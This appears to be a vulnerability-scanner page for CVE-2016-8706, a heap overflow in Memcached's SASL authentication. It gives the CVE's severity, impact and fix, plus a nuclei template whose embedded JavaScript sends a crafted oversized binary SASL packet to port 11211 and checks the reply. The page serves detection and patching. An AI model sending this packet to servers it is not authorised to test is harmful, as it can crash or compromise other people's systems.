Memcached Server SASL Authentication - Remote Code Execution

highseverity

8.1CVSS score

45.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.

Impact

Attackers can trigger heap overflow in the SASL authentication function, potentially achieving remote code execution on Memcached servers.

Fix

Upgrade Memcached to a version later than affected releases that properly handles integer overflow in SASL authentication.

How to confirm it

Positive when: contains "Invalid arguments" AND not contains "Auth failure"

Run it with nuclei: nuclei -id CVE-2016-8706 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-8706

info:
  name: Memcached Server SASL Authentication - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.
  impact: |
    Attackers can trigger heap overflow in the SASL authentication function, potentially achieving remote code execution on Memcached servers.
  remediation: |
    Upgrade Memcached to a version later than affected releases that properly handles integer overflow in SASL authentication.
  reference:
    - https://github.com/Medicean/VulApps/blob/master/m/memcached/cve-2016-8706/poc.py
    - https://nvd.nist.gov/vuln/detail/CVE-2016-8706
    - http://rhn.redhat.com/errata/RHSA-2016-2819.html
    - http://www.debian.org/security/2016/dsa-3704
    - http://www.securitytracker.com/id/1037333
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2016-8706
    cwe-id: CWE-190
    epss-score: 0.45703
    epss-percentile: 0.98807
    cpe: cpe:2.3:a:memcached:memcached:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: memcached
    product: memcached
    verfied: true
  tags: cve,cve2016,rce,js,memcached,vuln

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      let packet = bytes.NewBuffer();
      packet.Write(new Uint8Array([0x80, 0x21]))
      let cmd = 'stats'
      packet.WriteString(cmd)
      packet.Pack("!H", [32]);
      packet.Pack("!I", [1]);
      let buzz = Array(1000).fill("A").join('');
      packet.WriteString(buzz)
      const c = require("nuclei/net");
      let conn = c.Open('tcp', `${Host}:${Port}`);
      conn.SendHex(packet.Hex());
      conn.RecvString();
    args:
      Host: "{{Host}}"
      Port: 11211

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Invalid arguments"

      - type: word
        words:
          - "Auth failure"
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from